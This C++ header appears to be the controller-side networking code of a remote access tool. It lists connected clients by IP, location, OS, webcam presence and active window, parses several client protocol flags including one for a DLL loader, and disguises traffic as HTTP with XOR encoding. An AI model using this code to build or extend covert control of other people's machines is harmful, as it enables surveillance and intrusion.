639 lines
19 KiB
C++
639 lines
19 KiB
C++
#pragma once
|
||
|
||
#include "stdafx.h"
|
||
#include "common/mask.h"
|
||
#include "common/header.h"
|
||
#include "common/encrypt.h"
|
||
|
||
#include "Buffer.h"
|
||
#define XXH_INLINE_ALL
|
||
#include "xxhash.h"
|
||
#include <WS2tcpip.h>
|
||
#include <common/ikcp.h>
|
||
|
||
#define PACKET_LENGTH 0x2000
|
||
|
||
std::string GetPeerName(SOCKET sock);
|
||
std::string GetRemoteIP(SOCKET sock);
|
||
|
||
enum {
|
||
ONLINELIST_IP = 0, // IP的列顺序
|
||
ONLINELIST_ADDR, // 地址
|
||
ONLINELIST_LOCATION, // 地理位置
|
||
ONLINELIST_COMPUTER_NAME, // 计算机名/备注
|
||
ONLINELIST_OS, // 操作系统
|
||
ONLINELIST_CPU, // CPU
|
||
ONLINELIST_VIDEO, // 摄像头(有无)
|
||
ONLINELIST_PING, // PING(对方的网速)
|
||
ONLINELIST_VERSION, // 版本信息
|
||
ONLINELIST_INSTALLTIME, // 安装时间
|
||
ONLINELIST_LOGINTIME, // 活动窗口
|
||
ONLINELIST_CLIENTTYPE, // 客户端类型
|
||
ONLINELIST_PATH, // 文件路径
|
||
ONLINELIST_MAX,
|
||
};
|
||
|
||
enum {
|
||
PARSER_WINOS = -2,
|
||
PARSER_FAILED = -1, // 解析失败
|
||
PARSER_NEEDMORE = 0, // 需要更多数据
|
||
};
|
||
|
||
typedef struct PR {
|
||
int Result;
|
||
bool IsFailed() const
|
||
{
|
||
return PARSER_FAILED == Result;
|
||
}
|
||
bool IsNeedMore() const
|
||
{
|
||
return PARSER_NEEDMORE == Result;
|
||
}
|
||
bool IsWinOSLogin() const
|
||
{
|
||
return PARSER_WINOS == Result;
|
||
}
|
||
} PR;
|
||
|
||
enum {
|
||
COMPRESS_UNKNOWN = -2, // 未知压缩算法
|
||
COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法
|
||
COMPRESS_ZSTD = 0, // 当前使用的压缩方法
|
||
COMPRESS_NONE = 1, // 没有压缩
|
||
};
|
||
|
||
// Header parser: parse the data to make sure it's from a supported client.
|
||
class HeaderParser
|
||
{
|
||
friend class CONTEXT_OBJECT;
|
||
protected:
|
||
HeaderParser()
|
||
{
|
||
m_Masker = nullptr;
|
||
m_Encoder = nullptr;
|
||
m_Encoder2 = nullptr;
|
||
m_bParsed = FALSE;
|
||
m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
|
||
m_nFlagType = FLAG_UNKNOWN;
|
||
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
||
}
|
||
virtual ~HeaderParser()
|
||
{
|
||
Reset();
|
||
}
|
||
std::string getXForwardedFor(const std::string& headers)
|
||
{
|
||
const std::string key = "X-Forwarded-For: ";
|
||
size_t pos = headers.find(key);
|
||
if (pos == std::string::npos)
|
||
return "";
|
||
pos += key.size();
|
||
size_t end = headers.find("\r\n", pos);
|
||
if (end == std::string::npos)
|
||
return "";
|
||
std::string ip = headers.substr(pos, end - pos);
|
||
return ip;
|
||
}
|
||
PR Parse(CBuffer& buf, int& compressMethod, std::string &peer)
|
||
{
|
||
const int MinimumCount = MIN_COMLEN;
|
||
if (buf.GetBufferLength() < MinimumCount) {
|
||
return PR{ PARSER_NEEDMORE };
|
||
}
|
||
// UnMask
|
||
char* src = (char*)buf.GetBuffer();
|
||
ULONG srcSize = buf.GetBufferLength();
|
||
PkgMaskType maskType = MaskTypeUnknown;
|
||
ULONG ret = TryUnMask(src, srcSize, maskType);
|
||
std::string str = buf.Skip(ret);
|
||
if (maskType == MaskTypeHTTP) {
|
||
std::string clientIP = getXForwardedFor(str);
|
||
if (!clientIP.empty()) peer = clientIP;
|
||
}
|
||
if (nullptr == m_Masker) {
|
||
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
|
||
}
|
||
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
|
||
return PR{ PARSER_NEEDMORE };
|
||
|
||
char szPacketFlag[32] = { 0 };
|
||
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
||
HeaderEncType encTyp = HeaderEncUnknown;
|
||
FlagType flagType = CheckHead(szPacketFlag, encTyp);
|
||
if (flagType == FLAG_UNKNOWN) {
|
||
// 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识]
|
||
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4;
|
||
int length = *((int*)ptr);
|
||
int excepted = buf.GetBufferLength();
|
||
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
|
||
p[6] == 0 && p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
|
||
m_nFlagType = FLAG_WINOS;
|
||
compressMethod = COMPRESS_NONE;
|
||
memcpy(m_szPacketFlag, p, 10); // 通信密码
|
||
m_nCompareLen = 0;
|
||
m_nFlagLen = 0;
|
||
m_nHeaderLen = 14;
|
||
m_bParsed = TRUE;
|
||
m_Encoder = new Encoder();
|
||
m_Encoder2 = new WinOsEncoder();
|
||
return PR{ PARSER_WINOS };
|
||
}
|
||
return PR{ PARSER_FAILED };
|
||
}
|
||
if (m_bParsed) { // Check if the header has been parsed.
|
||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||
}
|
||
// More version may be added in the future.
|
||
switch (m_nFlagType = flagType) {
|
||
case FLAG_UNKNOWN:
|
||
return PR{ PARSER_FAILED };
|
||
case FLAG_SHINE:
|
||
memcpy(m_szPacketFlag, szPacketFlag, 5);
|
||
m_nCompareLen = 5;
|
||
m_nFlagLen = m_nCompareLen;
|
||
m_nHeaderLen = m_nFlagLen + 8;
|
||
m_bParsed = TRUE;
|
||
assert(NULL==m_Encoder);
|
||
assert(NULL==m_Encoder2);
|
||
m_Encoder = new Encoder();
|
||
m_Encoder2 = new Encoder();
|
||
break;
|
||
case FLAG_FUCK:
|
||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||
m_nCompareLen = 8;
|
||
m_nFlagLen = m_nCompareLen + 3;
|
||
m_nHeaderLen = m_nFlagLen + 8;
|
||
m_bParsed = TRUE;
|
||
m_Encoder = new XOREncoder();
|
||
m_Encoder2 = new Encoder();
|
||
break;
|
||
case FLAG_HELLO:
|
||
// This header is only for handling SOCKET_DLLLOADER command
|
||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||
m_nCompareLen = 6;
|
||
m_nFlagLen = 8;
|
||
m_nHeaderLen = m_nFlagLen + 8;
|
||
m_bParsed = TRUE;
|
||
compressMethod = COMPRESS_NONE;
|
||
m_Encoder = new Encoder();
|
||
m_Encoder2 = new XOREncoder16();
|
||
break;
|
||
case FLAG_HELL:
|
||
// This version
|
||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||
m_nCompareLen = FLAG_COMPLEN;
|
||
m_nFlagLen = FLAG_LENGTH;
|
||
m_nHeaderLen = m_nFlagLen + 8;
|
||
m_bParsed = TRUE;
|
||
m_Encoder = new Encoder();
|
||
m_Encoder2 = new XOREncoder16();
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
return PR{ m_nFlagLen };
|
||
}
|
||
BOOL IsEncodeHeader() const
|
||
{
|
||
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
||
}
|
||
HeaderParser& Reset()
|
||
{
|
||
if (m_Masker) {
|
||
m_Masker->Destroy();
|
||
m_Masker = nullptr;
|
||
}
|
||
SAFE_DELETE(m_Encoder);
|
||
SAFE_DELETE(m_Encoder2);
|
||
m_bParsed = FALSE;
|
||
m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
|
||
m_nFlagType = FLAG_UNKNOWN;
|
||
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
||
return *this;
|
||
}
|
||
BOOL IsParsed() const
|
||
{
|
||
return m_bParsed;
|
||
}
|
||
int GetFlagLen() const
|
||
{
|
||
return m_nFlagLen;
|
||
}
|
||
int GetHeaderLen() const
|
||
{
|
||
return m_nHeaderLen;
|
||
}
|
||
const char* GetFlag() const
|
||
{
|
||
return m_szPacketFlag;
|
||
}
|
||
FlagType GetFlagType() const
|
||
{
|
||
return m_nFlagType;
|
||
}
|
||
Encoder* GetEncoder() const
|
||
{
|
||
return m_Encoder;
|
||
}
|
||
Encoder* GetEncoder2() const
|
||
{
|
||
return m_Encoder2;
|
||
}
|
||
private:
|
||
BOOL m_bParsed; // 数据包是否可以解析
|
||
int m_nHeaderLen; // 数据包的头长度
|
||
int m_nCompareLen; // 比对字节数
|
||
int m_nFlagLen; // 标识长度
|
||
FlagType m_nFlagType; // 标识类型
|
||
char m_szPacketFlag[32]; // 对比信息
|
||
Encoder* m_Encoder; // 编码器
|
||
Encoder* m_Encoder2; // 编码器2
|
||
PkgMask* m_Masker;
|
||
};
|
||
|
||
enum IOType {
|
||
IOInitialize,
|
||
IORead,
|
||
IOWrite,
|
||
IOIdle
|
||
};
|
||
|
||
#define TRACK_OVERLAPPEDPLUS 0
|
||
|
||
class OVERLAPPEDPLUS
|
||
{
|
||
public:
|
||
|
||
OVERLAPPED m_ol;
|
||
IOType m_ioType;
|
||
|
||
OVERLAPPEDPLUS(IOType ioType)
|
||
{
|
||
#if TRACK_OVERLAPPEDPLUS
|
||
char szLog[100];
|
||
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||
Mprintf(szLog);
|
||
#endif
|
||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||
m_ioType = ioType;
|
||
}
|
||
|
||
~OVERLAPPEDPLUS()
|
||
{
|
||
#if TRACK_OVERLAPPEDPLUS
|
||
char szLog[100];
|
||
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||
Mprintf(szLog);
|
||
#endif
|
||
}
|
||
};
|
||
|
||
typedef BOOL (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||
typedef BOOL (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||
|
||
class Server
|
||
{
|
||
public:
|
||
friend class CONTEXT_OBJECT;
|
||
|
||
Server() {}
|
||
virtual ~Server() {}
|
||
|
||
virtual int GetPort() const = 0;
|
||
|
||
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
|
||
|
||
virtual BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||
|
||
virtual void UpdateMaxConnection(int maxConn) {}
|
||
|
||
virtual void Destroy() {}
|
||
|
||
virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
|
||
};
|
||
|
||
class context
|
||
{
|
||
public:
|
||
// 纯虚函数
|
||
virtual VOID InitMember(SOCKET s, Server* svr)=0;
|
||
virtual BOOL Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) = 0;
|
||
virtual CString GetClientData(int index)const = 0;
|
||
virtual void GetAdditionalData(CString(&s)[RES_MAX]) const =0;
|
||
virtual CString GetAdditionalData(int index) const = 0;
|
||
virtual uint64_t GetClientID() const = 0;
|
||
virtual std::string GetPeerName() const = 0;
|
||
virtual int GetPort() const = 0;
|
||
virtual std::string GetProtocol() const = 0;
|
||
virtual int GetServerPort() const = 0;
|
||
virtual FlagType GetFlagType() const = 0;
|
||
virtual std::string GetGroupName() const = 0;
|
||
|
||
public:
|
||
virtual ~context() {}
|
||
virtual void Destroy() {}
|
||
virtual BOOL IsLogin() const
|
||
{
|
||
return TRUE;
|
||
}
|
||
virtual bool IsEqual(context *ctx) const
|
||
{
|
||
return this == ctx || (GetPeerName() == ctx->GetPeerName() && GetPort() == ctx->GetPort());
|
||
}
|
||
};
|
||
|
||
typedef class CONTEXT_OBJECT : public context
|
||
{
|
||
public:
|
||
virtual ~CONTEXT_OBJECT()
|
||
{
|
||
if (kcp) {
|
||
ikcp_release(kcp);
|
||
kcp = nullptr;
|
||
}
|
||
}
|
||
CString sClientInfo[ONLINELIST_MAX];
|
||
CString additonalInfo[RES_MAX];
|
||
SOCKET sClientSocket;
|
||
WSABUF wsaInBuf;
|
||
WSABUF wsaOutBuffer;
|
||
char szBuffer[PACKET_LENGTH];
|
||
CBuffer InCompressedBuffer; // 接收到的压缩的数据
|
||
CBuffer InDeCompressedBuffer; // 解压后的数据
|
||
CBuffer OutCompressedBuffer;
|
||
HWND hWnd;
|
||
HANDLE hDlg;
|
||
OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
|
||
int CompressMethod; // 压缩算法
|
||
HeaderParser Parser; // 解析数据协议
|
||
uint64_t ID; // 唯一标识
|
||
|
||
BOOL m_bProxyConnected; // 代理是否连接
|
||
BOOL bLogin; // 是否 login
|
||
std::string PeerName; // 对端IP
|
||
Server* server; // 所属服务端
|
||
ikcpcb* kcp = nullptr; // 新增，指向KCP会话
|
||
std::string GroupName; // 分组名称
|
||
CLock SendLock; // fix #214
|
||
|
||
std::string GetProtocol() const override
|
||
{
|
||
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
|
||
}
|
||
int GetServerPort() const override
|
||
{
|
||
return server->GetPort();
|
||
}
|
||
VOID InitMember(SOCKET s, Server *svr)
|
||
{
|
||
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
||
hWnd = NULL;
|
||
hDlg = NULL;
|
||
sClientSocket = s;
|
||
PeerName = ::GetPeerName(sClientSocket);
|
||
memset(&wsaInBuf, 0, sizeof(WSABUF));
|
||
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
|
||
olps = NULL;
|
||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||
sClientInfo[i].Empty();
|
||
}
|
||
for (int i = 0; i < RES_MAX; i++) {
|
||
additonalInfo[i].Empty();
|
||
}
|
||
CompressMethod = COMPRESS_ZSTD;
|
||
Parser.Reset();
|
||
bLogin = FALSE;
|
||
m_bProxyConnected = FALSE;
|
||
server = svr;
|
||
}
|
||
Server* GetServer()
|
||
{
|
||
return server;
|
||
}
|
||
BOOL Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override
|
||
{
|
||
if (server) {
|
||
CAutoCLock L(SendLock);
|
||
return server->Send2Client(this, szBuffer, ulOriginalLength);
|
||
}
|
||
return FALSE;
|
||
}
|
||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
|
||
{
|
||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||
sClientInfo[i] = s[i];
|
||
}
|
||
for (int i = 0; i < a.size(); i++) {
|
||
additonalInfo[i] = a[i].c_str();
|
||
}
|
||
}
|
||
PBYTE GetBuffer(int offset)
|
||
{
|
||
return InDeCompressedBuffer.GetBuffer(offset);
|
||
}
|
||
ULONG GetBufferLength()
|
||
{
|
||
return InDeCompressedBuffer.GetBufferLength();
|
||
}
|
||
virtual std::string GetPeerName() const
|
||
{
|
||
return PeerName;
|
||
}
|
||
virtual int GetPort() const
|
||
{
|
||
return sClientSocket;
|
||
}
|
||
CString GetClientData(int index) const override
|
||
{
|
||
return sClientInfo[index];
|
||
}
|
||
void GetAdditionalData(CString(&s)[RES_MAX]) const override
|
||
{
|
||
for (int i = 0; i < RES_MAX; i++) {
|
||
s[i] = additonalInfo[i];
|
||
}
|
||
}
|
||
CString GetAdditionalData(int index) const override
|
||
{
|
||
return additonalInfo[index];
|
||
}
|
||
std::string GetGroupName() const override
|
||
{
|
||
return GroupName;
|
||
}
|
||
BOOL IsLogin() const override
|
||
{
|
||
return bLogin;
|
||
}
|
||
uint64_t GetClientID() const override
|
||
{
|
||
return ID;
|
||
}
|
||
void CancelIO()
|
||
{
|
||
SAFE_CANCELIO(sClientSocket);
|
||
}
|
||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos)
|
||
{
|
||
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
|
||
}
|
||
BYTE GetBYTE(int offset)
|
||
{
|
||
return InDeCompressedBuffer.GetBYTE(offset);
|
||
}
|
||
virtual FlagType GetFlagType() const override
|
||
{
|
||
return Parser.m_nFlagType;
|
||
}
|
||
// Write compressed buffer.
|
||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1)
|
||
{
|
||
if (Parser.IsParsed()) {
|
||
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
||
BYTE szPacketFlag[32] = {};
|
||
const int flagLen = Parser.GetFlagLen();
|
||
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
||
if (Parser.IsEncodeHeader())
|
||
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
||
CBuffer buf;
|
||
buf.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
||
buf.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
||
buf.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
||
} else {
|
||
buf.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
||
}
|
||
Encode2(data, dataLen, szPacketFlag);
|
||
buf.WriteBuffer(data, dataLen);
|
||
// Mask
|
||
char* src = (char*)buf.GetBuffer(), *szBuffer = nullptr;
|
||
ULONG ulLength = 0;
|
||
Parser.m_Masker->Mask(szBuffer, ulLength, src, buf.GetBufferLen(), cmd);
|
||
OutCompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||
if (szBuffer != src)
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
}
|
||
}
|
||
// Read compressed buffer.
|
||
PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen)
|
||
{
|
||
if (Parser.IsParsed()) {
|
||
ULONG totalLen = 0;
|
||
BYTE szPacketFlag[32] = {};
|
||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
|
||
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
|
||
} else {
|
||
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||
}
|
||
dataLen = totalLen - Parser.GetHeaderLen();
|
||
PBYTE CompressedBuffer = new BYTE[dataLen];
|
||
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
|
||
Decode2(CompressedBuffer, dataLen, szPacketFlag);
|
||
return CompressedBuffer;
|
||
}
|
||
return nullptr;
|
||
}
|
||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||
PR Parse(CBuffer& buf)
|
||
{
|
||
return Parser.Parse(buf, CompressMethod, PeerName);
|
||
}
|
||
void Encode(PBYTE data, bool &flag) const
|
||
{
|
||
flag ? data[0] ^= 0x2B : 0x2B == 0x2B;
|
||
}
|
||
// Encode data before compress.
|
||
void Encode(PBYTE data, int len) const
|
||
{
|
||
Parser.GetEncoder()->Encode((unsigned char*)data, len);
|
||
}
|
||
// Decode data after uncompress.
|
||
void Decode(PBYTE data, int len) const
|
||
{
|
||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||
}
|
||
// Encode data after compress.
|
||
void Encode2(PBYTE data, int len, PBYTE param) const
|
||
{
|
||
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
|
||
}
|
||
// Decode data before uncompress.
|
||
void Decode2(PBYTE data, int len, PBYTE param) const
|
||
{
|
||
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
|
||
}
|
||
std::string RemoteAddr() const
|
||
{
|
||
sockaddr_in ClientAddr = {};
|
||
int ulClientAddrLen = sizeof(sockaddr_in);
|
||
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||
}
|
||
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX])
|
||
{
|
||
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
|
||
CString s;
|
||
for (int i = 0; i < 5; i++) {
|
||
s += data[idx[i]] + "|";
|
||
}
|
||
s.Delete(s.GetLength() - 1);
|
||
return XXH64(s.GetString(), s.GetLength(), 0);
|
||
}
|
||
uint64_t GetID() const
|
||
{
|
||
return ID;
|
||
}
|
||
void SetID(uint64_t id)
|
||
{
|
||
ID = id;
|
||
}
|
||
void SetGroup(const std::string& group)
|
||
{
|
||
GroupName = group;
|
||
}
|
||
} CONTEXT_OBJECT, * PCONTEXT_OBJECT;
|
||
|
||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||
|
||
class CONTEXT_UDP : public CONTEXT_OBJECT
|
||
{
|
||
public:
|
||
int addrLen = 0;
|
||
sockaddr_in clientAddr = {};
|
||
CONTEXT_UDP()
|
||
{
|
||
}
|
||
virtual ~CONTEXT_UDP()
|
||
{
|
||
}
|
||
std::string GetProtocol() const override
|
||
{
|
||
return "UDP";
|
||
}
|
||
VOID InitMember(SOCKET s, Server* svr) override
|
||
{
|
||
CONTEXT_OBJECT::InitMember(s, svr);
|
||
clientAddr = {};
|
||
addrLen = sizeof(sockaddr_in);
|
||
}
|
||
void Destroy() override
|
||
{
|
||
delete this;
|
||
}
|
||
virtual std::string GetPeerName() const override
|
||
{
|
||
char client_ip[INET_ADDRSTRLEN];
|
||
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
|
||
return client_ip;
|
||
}
|
||
virtual int GetPort() const override
|
||
{
|
||
int client_port = ntohs(clientAddr.sin_port);
|
||
return client_port;
|
||
}
|
||
};
|